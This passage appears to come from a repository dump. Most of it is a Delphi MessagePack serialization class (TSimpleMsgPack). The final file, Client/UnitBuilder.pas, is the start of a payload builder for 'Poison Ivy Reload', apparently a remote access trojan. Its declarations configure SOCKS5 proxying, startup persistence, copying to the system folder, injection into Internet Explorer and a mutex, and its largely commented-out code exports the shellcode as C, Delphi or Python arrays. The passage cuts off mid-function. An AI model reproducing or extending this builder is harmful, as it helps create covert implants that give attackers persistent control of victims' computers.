//showMessage(Result);\nend;\n\n/// <summary>\n///   copy from qdac3\n/// </summary>\nfunction TSimpleMsgPack.GetAsVariant: Variant;\nvar\n  I: Integer;\n  procedure BytesAsVariant;\n  var\n    L: Integer;\n    p:PByte;\n  begin\n    L := Length(FValue);\n    Result := VarArrayCreate([0, L - 1], varByte);\n    p:=VarArrayLock(Result);\n    Move(FValue[0],p^,L);\n    VarArrayUnlock(Result);\n  end;\n\nbegin\n  case FDataType of\n    mptNull:\n      Result := null;\n    mptString:\n      Result := AsString;\n    mptInteger:\n      Result := AsInteger;\n    mptFloat:\n      Result := AsFloat;\n    mptSingle:\n      Result := AsSingle;\n    mptDateTime:\n      Result := AsDateTime;\n    mptBoolean:\n      Result := AsBoolean;\n    mptArray, mptMap:\n      begin\n        Result := VarArrayCreate([0, Count - 1], varVariant);\n        for I := 0 to Count - 1 do\n          Result[I] := TSimpleMsgPack(FChildren[I]).AsVariant;\n      end;\n    mptBinary:\n      BytesAsVariant;\n  else\n    raise Exception.Create(SVariantConvertNotSupport);\n  end;\nend;\n\nfunction TSimpleMsgPack.GetB(pvPath: String): Boolean;\nvar\n  lvObj:TSimpleMsgPack;\nbegin\n  lvObj := GetO(pvPath);\n  if lvObj = nil then\n  begin\n    Result := False;\n  end else\n  begin\n    Result := lvObj.AsBoolean;\n  end;\nend;\n\nfunction TSimpleMsgPack.GetCount: Integer;\nbegin\n  Result := FChildren.Count;\nend;\n\nfunction TSimpleMsgPack.GetD(pvPath: String): Double;\nvar\n  lvObj:TSimpleMsgPack;\nbegin\n  lvObj := GetO(pvPath);\n  if lvObj = nil then\n  begin\n    Result := 0;\n  end else\n  begin\n    Result := lvObj.AsFloat;\n  end;\nend;\n\nfunction TSimpleMsgPack.GetI(pvPath: String): Int64;\nvar\n  lvObj:TSimpleMsgPack;\nbegin\n  lvObj := GetO(pvPath);\n  if lvObj = nil then\n  begin\n    Result := 0;\n  end else\n  begin\n    Result := lvObj.AsInteger;\n  end;\nend;\n\nfunction TSimpleMsgPack.GetItems(AIndex: Integer): TSimpleMsgPack;\nbegin\n  Result := TSimpleMsgPack(FChildren[AIndex]);\nend;\n\nfunction TSimpleMsgPack.GetO(pvPath: String): TSimpleMsgPack;\nvar\n  lvParent:TSimpleMsgPack;\n  j:Integer;\nbegin\n  Result := InnerFindPathObject(pvPath, lvParent, j);\nend;\n\nfunction TSimpleMsgPack.GetS(pvPath: String): string;\nvar\n  lvObj:TSimpleMsgPack;\nbegin\n  lvObj := GetO(pvPath);\n  if lvObj = nil then\n  begin\n    Result := '';\n  end else\n  begin\n    Result := lvObj.AsString;\n  end;\nend;\n\nfunction TSimpleMsgPack.indexOf(pvName:string): Integer;\nbegin\n  Result := indexOfIgnoreSensitive(LowerCase(pvName));\nend;\n\nfunction TSimpleMsgPack.indexOfCaseSensitive(pvName:string): Integer;\nvar\n  i, l: Integer;\n  lvObj:TSimpleMsgPack;\nbegin\n  Result := -1;\n  l := Length(pvName);\n  if l = 0 then exit;\n  for i := 0 to FChildren.Count-1 do\n  begin\n    lvObj := TSimpleMsgPack(FChildren[i]);\n    if Length(lvObj.FName) = l then\n    begin\n      if lvObj.FName = pvName then\n      begin\n        Result := i;\n        break;\n      end;\n    end;\n  end;\nend;\n\nfunction TSimpleMsgPack.indexOfIgnoreSensitive(pvLowerCaseName: string):\n    Integer;\nvar\n  i, l: Integer;\n  lvObj:TSimpleMsgPack;\nbegin\n  Result := -1;\n  l := Length(pvLowerCaseName);\n  if l = 0 then exit;\n  for i := 0 to FChildren.Count-1 do\n  begin\n    lvObj := TSimpleMsgPack(FChildren[i]);\n    if Length(lvObj.FLowerName) = l then\n    begin\n      if lvObj.FLowerName = pvLowerCaseName then\n      begin\n        Result := i;\n        break;\n      end;\n    end;\n  end;\nend;\n\nfunction TSimpleMsgPack.InnerAdd(pvDataType: TMsgPackType): TSimpleMsgPack;\nbegin\n  Result := TSimpleMsgPack.Create;\n  Result.FDataType := mptUnknown;\n  InnerAddToChildren(pvDataType, Result);\nend;\n\nfunction TSimpleMsgPack.InnerAdd: TSimpleMsgPack;\nbegin\n  if self.FDataType in [mptMap, mptArray] then\n  begin\n    Result := TSimpleMsgPack.Create;\n    Result.FDataType := mptUnknown;\n    Result.FParent := self;\n    FChildren.Add(Result);\n  end else\n  begin\n    raise Exception.Create(SCannotAddChild);\n  end;\n\n\n\nend;\n\nprocedure TSimpleMsgPack.InnerAddToChildren(pvDataType: TMsgPackType; obj:\n    TSimpleMsgPack);\nbegin\n  checkObjectDataType(pvDataType);\n  obj.FParent := self;\n  FChildren.Add(obj);\nend;\n\nprocedure TSimpleMsgPack.InnerEncodeToStream(pvStream:TStream);\nbegin\n  case FDataType of\n    mptUnknown, mptNull: WriteNull(pvStream);\n    mptMap: writeMap(Self, pvStream);\n    mptArray: writeArray(Self, pvStream);\n    mptString: writeString(Self.getAsString, pvStream);\n    mptInteger: WriteInt(self.getAsInteger, pvStream);\n    mptBoolean: WriteBoolean(self.GetAsBoolean, pvStream);\n    mptDateTime, mptFloat: WriteFloat(GetAsFloat, pvStream);\n    mptSingle: WriteSingle(GetAsSingle, pvStream);\n    mptBinary: WriteBinary(PByte(@FValue[0]), Length(FValue), pvStream);\n  end;\nend;\n\nfunction TSimpleMsgPack.InnerFindPathObject(pvPath: string; var vParent:\n    TSimpleMsgPack; var vIndex: Integer): TSimpleMsgPack;\nvar\n  lvName:string;\n  s:string;\n  sPtr:PChar;\n  lvTempObj, lvParent:TSimpleMsgPack;\n  j:Integer;\nbegin\n  s := pvPath;\n  \n  Result := nil;\n  \n  lvParent := Self;\n  sPtr := PChar(s);\n  while sPtr^ <> #0 do\n  begin\n    lvName := getFirst(sPtr, ['.', '/','\\']);\n    if lvName = '' then\n    begin\n      Break;\n    end else\n    begin\n      if sPtr^ = #0 then\n      begin           // end\n        j := lvParent.indexOf(lvName);\n        if j <> -1 then\n        begin\n          Result := TSimpleMsgPack(lvParent.FChildren[j]);\n          vIndex := j;\n          vParent := lvParent;\n        end else\n        begin\n          Break;\n        end;\n      end else\n      begin\n        // find childrean\n        lvTempObj := lvParent.findObj(lvName);\n        if lvTempObj = nil then\n        begin\n          Break;\n        end else\n        begin\n          lvParent := lvTempObj;\n        end;\n      end;\n    end;\n    if sPtr^ = #0 then Break;\n    Inc(sPtr);\n  end;\nend;\n\nprocedure TSimpleMsgPack.InnerParseFromStream(pvStream: TStream);\nvar\n  lvByte:Byte;\n  lvBData: array[0..15] of Byte;\n  lvSwapData: array[0..7] of Byte;\n  lvAnsiStr:{$IFDEF UNICODE}TBytes{$ELSE}AnsiString{$ENDIF};\n  l, i:Cardinal;\n  i64 :Int64;\n  lvObj:TSimpleMsgPack;\nbegin\n  pvStream.Read(lvByte, 1);\n  if lvByte in [$00 .. $7F] then   //positive fixint\t0xxxxxxx\t0x00 - 0x7f\n  begin\n    //  +--------+\n    //  |0XXXXXXX|\n    //  +--------+\n    setAsInteger(lvByte);\n  end else if lvByte in [$80 .. $8F] then //fixmap\t1000xxxx\t0x80 - 0x8f\n  begin\n    FDataType := mptMap;\n    SetLength(FValue, 0);\n    ClearAndFreeAllChildren;\n    l := lvByte - $80;\n    if l > 0 then  // check is empty ele\n    begin\n      for I := 0 to l - 1 do\n      begin\n        lvObj := InnerAdd(mptMap);\n\n        // map key\n        lvObj.InnerParseFromStream(pvStream);\n        lvObj.setName(lvObj.getAsString);\n\n          // value\n        lvObj.InnerParseFromStream(pvStream);\n      end;\n    end;\n  end else if lvByte in [$90 .. $9F] then //fixarray\t1001xxxx\t0x90 - 0x9f\n  begin\n    FDataType := mptArray;\n    SetLength(FValue, 0);\n    ClearAndFreeAllChildren;\n\n    l := lvByte - $90;\n    if l > 0 then  // check is empty ele\n    begin\n      for I := 0 to l - 1 do\n      begin\n        lvObj := InnerAdd(mptArray);\n        // value\n        lvObj.InnerParseFromStream(pvStream);\n      end;\n    end;\n  end else if lvByte in [$A0 .. $BF] then //fixstr\t101xxxxx\t0xa0 - 0xbf\n  begin\n    l := lvByte - $A0;   // str len\n    if l > 0 then\n    begin\n\n      SetLength(lvAnsiStr, l);\n      pvStream.Read(PByte(lvAnsiStr)^, l);\n      setAsString(UTF8DecodeEx(lvAnsiStr, l));\n\n//      SetLength(lvBytes, l + 1);\n//      lvBytes[l] := 0;\n//      pvStream.Read(lvBytes[0], l);\n//      setAsString(UTF8Decode(PAnsiChar(@lvBytes[0])));\n    end else\n    begin\n      setAsString('');\n    end;\n  end else if lvByte in [$E0 .. $FF] then\n  begin\n    //  negative fixnum stores 5-bit negative integer\n    //  +--------+\n    //  |111YYYYY|\n    //  +--------+\n    setAsInteger(Shortint(lvByte));\n  end else\n  begin\n    case lvByte of\n      $C0: // null\n        begin\n          FDataType := mptNull;\n          SetLength(FValue, 0);\n        end;\n      $C1: // (never used)\n        raise Exception.Create('(never used) type $c1');\n      $C2: // False\n        begin\n          SetAsBoolean(False);\n        end;\n      $C3: // True\n        begin\n          SetAsBoolean(True);\n        end;\n      $C4: // 短二进制，最长255字节\n        begin\n          FDataType := mptBinary;\n\n          l := 0; // fill zero\n          pvStream.Read(l, 1);\n\n          SetLength(FValue, l);\n          pvStream.Read(FValue[0], l);\n        end;\n      $C5: // 二进制，16位，最长65535B\n        begin\n          FDataType := mptBinary;\n\n          l := 0; // fill zero\n          pvStream.Read(l, 2);\n          l := swap16(l);\n\n          SetLength(FValue, l);\n          pvStream.Read(FValue[0], l);\n        end;\n      $C6: // 二进制，32位，最长2^32-1\n        begin\n          FDataType := mptBinary;\n\n          l := 0; // fill zero\n          pvStream.Read(l, 4);\n          l := swap32(l);\n\n          SetLength(FValue, l);\n          pvStream.Read(FValue[0], l);\n        end;\n      $c7,$c8,$c9:      //ext 8\t11000111\t0xc7, ext 16\t11001000\t0xc8, ext 32\t11001001\t0xc9\n        begin\n          raise Exception.Create('(ext8,ext16,ex32) type $c7,$c8,$c9');\n        end;\n      $CA: // float 32\n        begin\n          pvStream.Read(lvBData[0], 4);\n\n          swap32Ex(lvBData[0], lvSwapData[0]);\n\n          AsSingle := PSingle(@lvSwapData[0])^;\n        end;\n      $cb: // Float 64\n        begin\n\n          pvStream.Read(lvBData[0], 8);\n\n          // swap to int64, and lvBData is not valid double value (for IEEE)\n          i64 := swap64(lvBData[0]);\n\n          //\n          AsFloat := PDouble(@i64)^;\n\n         // AsFloat := swap(PDouble(@lvBData[0])^);\n        end;\n      $cc: // UInt8\n        begin\n          //      uint 8 stores a 8-bit unsigned integer\n          //      +--------+--------+\n          //      |  0xcc  |ZZZZZZZZ|\n          //      +--------+--------+\n          l := 0;\n          pvStream.Read(l, 1);\n          setAsInteger(l);\n        end;\n      $cd:\n        begin\n          //    uint 16 stores a 16-bit big-endian unsigned integer\n          //    +--------+--------+--------+\n          //    |  0xcd  |ZZZZZZZZ|ZZZZZZZZ|\n          //    +--------+--------+--------+\n          l := 0;\n          pvStream.Read(l, 2);\n          l := swap16(l);\n          SetAsInteger(Word(l));\n        end;\n      $ce:\n        begin\n          //  uint 32 stores a 32-bit big-endian unsigned integer\n          //  +--------+--------+--------+--------+--------+\n          //  |  0xce  |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ\n          //  +--------+--------+--------+--------+--------+\n          l := 0;\n          pvStream.Read(l, 4);\n          l := swap32(l);\n          setAsInteger(Cardinal(l));\n        end;\n      $cf:\n        begin\n          //  uint 64 stores a 64-bit big-endian unsigned integer\n          //  +--------+--------+--------+--------+--------+--------+--------+--------+--------+\n          //  |  0xcf  |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|\n          //  +--------+--------+--------+--------+--------+--------+--------+--------+--------+\n          i64 := 0;\n          pvStream.Read(i64, 8);\n          i64 := swap64(i64);\n          setAsInteger(i64);\n        end;\n      $dc: // array 16\n        begin\n          //      +--------+--------+--------+~~~~~~~~~~~~~~~~~+\n          //      |  0xdc  |YYYYYYYY|YYYYYYYY|    N objects    |\n          //      +--------+--------+--------+~~~~~~~~~~~~~~~~~+\n          FDataType := mptArray;\n          SetLength(FValue, 0);\n          ClearAndFreeAllChildren; \n\n          l := 0; // fill zero\n          pvStream.Read(l, 2);\n\n          l := swap16(l);\n          if l > 0 then  // check is empty ele\n          begin\n            for I := 0 to l - 1 do\n            begin\n              lvObj := InnerAdd(mptArray);\n              // value\n              lvObj.InnerParseFromStream(pvStream);\n            end;\n          end;\n        end;\n      $dd: // Array 32\n        begin\n        //  +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+\n        //  |  0xdd  |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|    N objects    |\n        //  +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+\n          FDataType := mptArray;\n          SetLength(FValue, 0);\n          ClearAndFreeAllChildren;\n\n\n          l := 0; // fill zero\n          pvStream.Read(l, 4);\n\n          l := swap32(l);\n          if l > 0 then  // check is empty ele\n          begin\n            for I := 0 to l - 1 do\n            begin\n              lvObj := InnerAdd(mptArray);\n              // value\n              lvObj.InnerParseFromStream(pvStream);\n            end;\n          end;\n        end;\n      $d9:   //str 8 , 255\n        begin\n          //  str 8 stores a byte array whose length is upto (2^8)-1 bytes:\n          //  +--------+--------+========+\n          //  |  0xd9  |YYYYYYYY|  data  |\n          //  +--------+--------+========+\n          l := 0;\n          pvStream.Read(l, 1);\n          if l > 0 then  // check is empty ele\n          begin\n            SetLength(lvAnsiStr, l);\n            pvStream.Read(PByte(lvAnsiStr)^, l);\n            setAsString(UTF8DecodeEx(lvAnsiStr, l));\n          end else\n          begin\n            setAsString('');\n          end;\n  //        SetLength(lvBytes, l + 1);\n  //        lvBytes[l] := 0;\n  //        pvStream.Read(lvBytes[0], l);\n  //        setAsString(UTF8Decode(PAnsiChar(@lvBytes[0])));\n        end;\n      $DE: // Object map 16\n        begin\n          //    +--------+--------+--------+~~~~~~~~~~~~~~~~~+\n          //    |  0xde  |YYYYYYYY|YYYYYYYY|   N*2 objects   |\n          //    +--------+--------+--------+~~~~~~~~~~~~~~~~~+\n          FDataType := mptMap;\n          SetLength(FValue, 0);\n          ClearAndFreeAllChildren;\n\n\n          l := 0; // fill zero\n          pvStream.Read(l, 2);\n          l := swap16(l);\n          if l > 0 then  // check is empty ele\n          begin\n            for I := 0 to l - 1 do\n            begin\n              lvObj := InnerAdd(mptMap);\n              // map key\n              lvObj.InnerParseFromStream(pvStream);\n              lvObj.setName(lvObj.getAsString);\n\n              // value\n              lvObj.InnerParseFromStream(pvStream);\n            end;\n          end;\n        end;\n      $DF: //Object map 32\n        begin\n          //    +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+\n          //    |  0xdf  |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|   N*2 objects   |\n          //    +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+\n          FDataType := mptMap;\n          SetLength(FValue, 0);\n          ClearAndFreeAllChildren;\n\n\n          l := 0; // fill zero\n          pvStream.Read(l, 4);\n\n          l := swap32(l);\n          if l > 0 then  // check is empty ele\n          begin\n            for I := 0 to l - 1 do\n            begin\n              lvObj := InnerAdd(mptMap);\n\n              // map key\n              lvObj.InnerParseFromStream(pvStream);\n              lvObj.setName(lvObj.getAsString);\n\n              // value\n              lvObj.InnerParseFromStream(pvStream);\n            end;\n          end;\n        end;\n      $da:    // str 16\n        begin\n          //      str 16 stores a byte array whose length is upto (2^16)-1 bytes:\n          //      +--------+--------+--------+========+\n          //      |  0xda  |ZZZZZZZZ|ZZZZZZZZ|  data  |\n          //      +--------+--------+--------+========+\n\n          l := 0; // fill zero\n          pvStream.Read(l, 2);\n          l := swap16(l);\n          if l > 0 then  // check is empty ele\n          begin\n            SetLength(lvAnsiStr, l);\n            pvStream.Read(PByte(lvAnsiStr)^, l);\n            setAsString(UTF8DecodeEx(lvAnsiStr, l));\n          end else\n          begin\n            setAsString('');\n          end;\n\n  //        SetLength(lvBytes, l + 1);\n  //        lvBytes[l] := 0;\n  //        pvStream.Read(lvBytes[0], l);\n  //        setAsString(UTF8Decode(PAnsiChar(@lvBytes[0])));\n        end;\n      $db:    // str 16\n        begin\n          //  str 32 stores a byte array whose length is upto (2^32)-1 bytes:\n          //  +--------+--------+--------+--------+--------+========+\n          //  |  0xdb  |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA|  data  |\n          //  +--------+--------+--------+--------+--------+========+\n\n          l := 0; // fill zero\n          pvStream.Read(l, 4);\n          l := swap32(l);\n          if l > 0 then  // check is empty ele\n          begin\n            SetLength(lvAnsiStr, l);\n            pvStream.Read(PByte(lvAnsiStr)^, l);\n            setAsString(UTF8DecodeEx(lvAnsiStr, l));\n          end else\n          begin\n            setAsString('');\n          end;\n\n\n  //        SetLength(lvBytes, l + 1);\n  //        lvBytes[l] := 0;\n  //        pvStream.Read(lvBytes[0], l);\n  //        setAsString(UTF8Decode(PAnsiChar(@lvBytes[0])));\n        end;\n      $d0:   //int 8\n        begin\n          //      int 8 stores a 8-bit signed integer\n          //      +--------+--------+\n          //      |  0xd0  |ZZZZZZZZ|\n          //      +--------+--------+\n\n          l := 0;\n          pvStream.Read(l, 1);\n          SetAsInteger(ShortInt(l));\n        end;\n      $d1:\n        begin\n          //    int 16 stores a 16-bit big-endian signed integer\n          //    +--------+--------+--------+\n          //    |  0xd1  |ZZZZZZZZ|ZZZZZZZZ|\n          //    +--------+--------+--------+\n\n          l := 0;\n          pvStream.Read(l, 2);\n          l := swap16(l);\n          SetAsInteger(SmallInt(l));\n        end;\n\n      $d2:\n        begin\n          //  int 32 stores a 32-bit big-endian signed integer\n          //  +--------+--------+--------+--------+--------+\n          //  |  0xd2  |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|\n          //  +--------+--------+--------+--------+--------+\n          l := 0;\n          pvStream.Read(l, 4);\n          l := swap32(l);\n          setAsInteger(Integer(l));\n        end;\n      $d3:\n      begin\n        //  int 64 stores a 64-bit big-endian signed integer\n        //  +--------+--------+--------+--------+--------+--------+--------+--------+--------+\n        //  |  0xd3  |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|\n        //  +--------+--------+--------+--------+--------+--------+--------+--------+--------+\n        i64 := 0;\n        pvStream.Read(i64, 8);\n        i64 := swap64(i64);\n        setAsInteger(Int64(i64));\n      end;   \n    end;\n  end;\nend;\n\nprocedure TSimpleMsgPack.LoadBinaryFromFile(pvFileName:String);\nvar\n  lvFileStream:TFileStream;\nbegin\n  if FileExists(pvFileName) then\n  begin\n    lvFileStream := TFileStream.Create(pvFileName, fmOpenRead);\n    try\n      LoadBinaryFromStream(lvFileStream);\n    finally\n      lvFileStream.Free;\n    end;\n  end;\nend;\n\nprocedure TSimpleMsgPack.LoadBinaryFromStream(pvStream: TStream; pvLen:\n    cardinal = 0);\nbegin\n  FDataType := mptBinary;\n  if pvLen = 0 then\n  begin\n    pvStream.Position := 0;\n    SetLength(FValue, pvStream.Size);\n    pvStream.Read(FValue[0], pvStream.Size);\n  end else\n  begin\n    SetLength(FValue, pvLen);\n    pvStream.ReadBuffer(FValue[0], pvLen);\n  end;\nend;\n\nfunction TSimpleMsgPack.Remove(pvPath:string): TSimpleMsgPack;\nvar\n  lvParent:TSimpleMsgPack;\n  j:Integer;\nbegin\n  Result := InnerFindPathObject(pvPath, lvParent, j);\n  if Result<>nil then\n  begin\n    lvParent.FChildren.Delete(j);\n  end;\nend;\n\nfunction TSimpleMsgPack.Remove(pvIndex:Integer): TSimpleMsgPack;\nbegin\n  if (pvIndex < 0) or (pvIndex >= Count) then\n  begin\n    Result := nil;\n  end else\n  begin\n    Result := TSimpleMsgPack(FChildren[pvIndex]);\n    FChildren.Delete(pvIndex);\n  end;\nend;\n\nfunction TSimpleMsgPack.Remove(pvChild:TSimpleMsgPack): Boolean;\nbegin\n  Result := FChildren.Remove(pvChild) <> -1;\nend;\n\nprocedure TSimpleMsgPack.RemoveFromParent;\nbegin\n  if FParent <> nil then\n  begin\n    FParent.FChildren.Remove(Self);\n  end;\nend;\n\nprocedure TSimpleMsgPack.SaveBinaryToFile(pvFileName: String);\nvar\n  lvFileStream:TFileStream;\nbegin\n  if FileExists(pvFileName) then\n  begin\n    if not DeleteFile(PChar(pvFileName)) then\n      RaiseLastOSError;\n  end;\n  lvFileStream := TFileStream.Create(pvFileName, fmCreate);\n  try\n    lvFileStream.WriteBuffer(FValue[0], Length(FValue));\n  finally\n    lvFileStream.Free;\n  end;\nend;\n\nprocedure TSimpleMsgPack.SaveBinaryToStream(pvStream: TStream);\nbegin\n  pvStream.WriteBuffer(FValue[0], Length(FValue));\nend;\n\nprocedure TSimpleMsgPack.SetAsBoolean(const Value: Boolean);\nbegin\n  FDataType := mptBoolean;\n  SetLength(FValue, 1);\n  PBoolean(@FValue[0])^ := Value;\nend;\n\nprocedure TSimpleMsgPack.SetAsBytes(const Value: TBytes);\nbegin\n  FDataType := mptBinary;\n  FValue := Value;\nend;\n\nprocedure TSimpleMsgPack.SetAsDateTime(const Value: TDateTime);\nbegin\n  FDataType := mptDateTime;\n  SetLength(FValue, SizeOf(TDateTime));\n  PDouble(@FValue[0])^ := Value;\nend;\n\nprocedure TSimpleMsgPack.SetAsFloat(const Value: Double);\nbegin\n  FDataType := mptFloat;\n  SetLength(FValue, SizeOf(Double));\n  PDouble(@FValue[0])^ := Value;\nend;\n\nprocedure TSimpleMsgPack.setAsInteger(pvValue: Int64);\nbegin\n  FDataType := mptInteger;\n  SetLength(FValue, SizeOf(Int64));\n  PInt64(@FValue[0])^ := pvValue;\nend;\n\nprocedure TSimpleMsgPack.SetAsSingle(const Value: Single);\nbegin\n  FDataType := mptSingle;\n  SetLength(FValue, SizeOf(Single));\n  PSingle(FValue)^ := Value;\nend;\n\nprocedure TSimpleMsgPack.setAsString(pvValue: string);\nbegin\n  FDataType := mptString;\n  if SizeOf(Char) = 2 then\n  begin\n    SetLength(FValue, length(pvValue) shl 1);\n    Move(PChar(pvValue)^, FValue[0], Length(FValue));\n  end else\n  begin\n    SetLength(FValue, length(pvValue));\n    Move(PChar(pvValue)^, FValue[0], Length(FValue));\n  end;\nend;\n\n/// <summary>\n///   copy from qdac3\n/// </summary>\nprocedure TSimpleMsgPack.SetAsVariant(const Value: Variant);\nvar\n  I: Integer;\n  AType: TVarType;\n  procedure VarAsBytes;\n  var\n    L: Integer;\n    p: PByte;\n  begin\n    FDataType := mptBinary;\n    L := VarArrayHighBound(Value, 1) + 1;\n    SetLength(FValue, L);\n    p := VarArrayLock(Value);\n    Move(p^, FValue[0], L);\n    VarArrayUnlock(Value);\n  end;\nbegin\n  if VarIsArray(Value) then\n  begin\n    AType := VarType(Value);\n    if (AType and varTypeMask) = varByte then\n      VarAsBytes\n    else\n    begin\n      checkObjectDataType(mptArray);\n      ClearAndFreeAllChildren;\n      for I := VarArrayLowBound(Value, VarArrayDimCount(Value))\n        to VarArrayHighBound(Value, VarArrayDimCount(Value)) do\n        Add.AsVariant := Value[I];\n    end;\n  end\n  else\n  begin\n    case VarType(Value) of\n      varSmallInt, varInteger, varByte, varShortInt, varWord,\n        varLongWord, varInt64:\n        AsInteger := Value;\n      varSingle, varDouble, varCurrency:\n        AsFloat := Value;\n      varDate:\n        AsDateTime := Value;\n      varOleStr, varString{$IFDEF UNICODE}, varUString{$ENDIF}:\n        AsString := Value;\n      varBoolean:\n        AsBoolean := Value;\n      varNull,varEmpty,varUnknown:\n        begin\n          FDataType:=mptNull;\n          SetLength(FValue, 0);\n        end;\n      {$IF RtlVersion>=26}\n      varUInt64:\n        AsInteger := Value;\n      {$IFEND}\n    else\n      // null\n      ;//raise Exception.Create(SVariantConvertNotSupport);\n    end;\n  end;\nend;\n\nprocedure TSimpleMsgPack.SetB(pvPath: String; const Value: Boolean);\nvar\n  lvObj:TSimpleMsgPack;\nbegin\n  lvObj := ForcePathObject(pvPath);\n  lvObj.AsBoolean := Value;\nend;\n\nprocedure TSimpleMsgPack.SetD(pvPath: String; const Value: Double);\nvar\n  lvObj:TSimpleMsgPack;\nbegin\n  lvObj := ForcePathObject(pvPath);\n  lvObj.AsFloat := Value;\nend;\n\nprocedure TSimpleMsgPack.SetI(pvPath: String; const Value: Int64);\nvar\n  lvObj:TSimpleMsgPack;\nbegin\n  lvObj := ForcePathObject(pvPath);\n  lvObj.AsInteger := Value;\nend;\n\nprocedure TSimpleMsgPack.setName(pvName: string);\nbegin\n  FName := pvName;\n  FLowerName := LowerCase(FName);\nend;\n\nprocedure TSimpleMsgPack.SetO(pvPath: String; const Value: TSimpleMsgPack);\nvar\n  lvName:String;\n  s:String;\n  sPtr:PChar;\n  lvTempObj, lvParent:TSimpleMsgPack;\n  j:Integer;\nbegin\n  s := pvPath;\n\n  lvParent := Self;\n  sPtr := PChar(s);\n  while sPtr^ <> #0 do\n  begin\n    lvName := getFirst(sPtr, ['.', '/','\\']);\n    if lvName = '' then\n    begin\n      Break;\n    end else\n    begin\n      if sPtr^ = #0 then\n      begin           // end\n        j := lvParent.indexOf(lvName);\n        if j <> -1 then\n        begin\n          lvTempObj := TSimpleMsgPack(lvParent.FChildren[j]);\n          lvParent.FChildren[j] := Value;\n          lvTempObj.Free;  // free old\n        end else\n        begin\n          Value.setName(lvName);\n          lvParent.InnerAddToChildren(mptMap, Value);\n        end;\n      end else\n      begin\n        // find childrean\n        lvTempObj := lvParent.findObj(lvName);\n        if lvTempObj = nil then\n        begin\n          lvParent := lvParent.Add(lvName);\n        end else\n        begin\n          lvParent := lvTempObj;\n        end;\n      end;\n    end;\n    if sPtr^ = #0 then Break;\n    Inc(sPtr);\n  end;\nend;\n\nprocedure TSimpleMsgPack.SetS(pvPath: String; const Value: string);\nvar\n  lvObj:TSimpleMsgPack;\nbegin\n  lvObj := ForcePathObject(pvPath);\n  lvObj.AsString := Value;\nend;\n\n\n\nend.\n"
  },
  {
    "path": "Client/UnitBuilder.pas",
    "content": "unit UnitBuilder;\n\ninterface\nuses\n  Winapi.Windows, System.Classes, System.SysUtils;\n{\ntype\n  TBuilder = class\n  private\n    FShellData, FShellCode: TMemoryStream;\n  private\n    procedure WriteOffset(w: Word);\n    procedure WriteAnsiString(s: AnsiString);\n    procedure WriteWideString(s: WideString);\n    procedure WriteWord(w: Word);\n    procedure WriteByte(b: Byte);\n    procedure WriteBoolean(b: Boolean);\n  public\n    constructor Create(); overload;\n    destructor Destroy(); overload;\n  public\n    procedure WriteDNSList(s: string);\n    procedure WriteID(s: AnsiString);\n    procedure WritePassword(s: AnsiString);\n    procedure WriteSocks5(dns, username, password: AnsiString; port: Word);\n    procedure WriteStartUp(isAcitvex: Boolean; s: string);\n    procedure WriteInstallation(copy_to_system: Boolean; filename: string);\n    procedure WriteMutex(s: AnsiString);\n    procedure WriteInject(inject_to_ie: Boolean; filename: string);\n    procedure WriteConfigEnd();\n    function SaveToBinary(filename: string): Boolean;\n    function SaveToCArray(filename: string): Boolean;\n    function SaveToDelphiArray(filename: string): Boolean;\n    function SaveToPythonArray(filename: string): Boolean;\n  end;\n}\nimplementation\nuses\n  UnitShellCodes;\n\n{ TBuilder }\n\n//constructor TBuilder.Create();\n//begin\n//  FShellData := TMemoryStream.Create;\n//  FShellCode := TMemoryStream.Create;\n//  // дshellcode\n//  FShellData.Write(PAnsiChar(get_loader_main_ptr())^, get_loader_main_size());\n//end;\n//\n//destructor TBuilder.Destroy;\n//begin\n//  FreeAndNil(FShellData);\n//  FreeAndNil(FShellCode);\n//end;\n//\n//function TBuilder.SaveToBinary(filename: string): Boolean;\n//var\n//  fs: TFileStream;\n//begin\n//  Result := True;\n//  if FShellCode.Size <> 0 then\n//    FShellData.Write(PAnsiChar(FShellCode.Memory)^, FShellCode.Size);\n//\n//  fs := TFileStream.Create(filename, fmCreate);\n//  try\n//    fs.Write(PAnsiChar(FShellData.Memory)^, FShellData.Size);\n//  except\n//    Result := False;\n//  end;\n//  FreeAndNil(fs);\n//end;\n//\n//function TBuilder.SaveToCArray(filename: string): Boolean;\n//var\n//  temp: string;\n//  ss: TStringStream;\n//  i: Integer;\n//begin\n//  Result := True;\n//  if FShellCode.Size <> 0 then\n//    FShellData.Write(PAnsiChar(FShellCode.Memory)^, FShellCode.Size);\n//\n//  ss := TStringStream.Create();\n//  try\n//    temp := Format(\n//      '// Generated by Poison Ivy Reload 0.0.1' + #13#10 +\n//      '// http://www.github.com' + #13#10 +\n//      '// Length: 0x%.8x (bytes)' + #13#10 +\n//      'unsigned char PIshellcode[%d] = ' + #13#10 +\n//      '{' + #13#10#09,\n//      [FShellData.Size, FShellData.Size]);\n//    ss.WriteString(temp);\n//\n//    for i := 1 to FShellData.Size do\n//    begin\n//\n//      if i = FShellData.Size then\n//      begin\n//        temp := Format('0x%.2x', [DWORD(PAnsiChar(Integer(FShellData.Memory) + i - 1)^)]);\n//        temp := temp + #13#10 + '};';\n//      end else\n//      begin\n//        temp := Format('0x%.2x, ', [DWORD(PAnsiChar(Integer(FShellData.Memory) + i - 1)^)]);\n//        if (i mod 16) = 0 then\n//          temp := temp + #13#10#09;\n//      end;\n//\n//      ss.WriteString(temp);\n//    end;\n//\n//    ss.SaveToFile(filename);\n//  except\n//    on e: Exception do\n//    begin\n//      MessageBox(0, PChar(e.Message), 0, 0);\n//      Result := False;\n//    end\n//  end;\n//  FreeAndNil(ss);\n//end;\n//\n//function TBuilder.SaveToDelphiArray(filename: string): Boolean;\n//var\n//  temp: 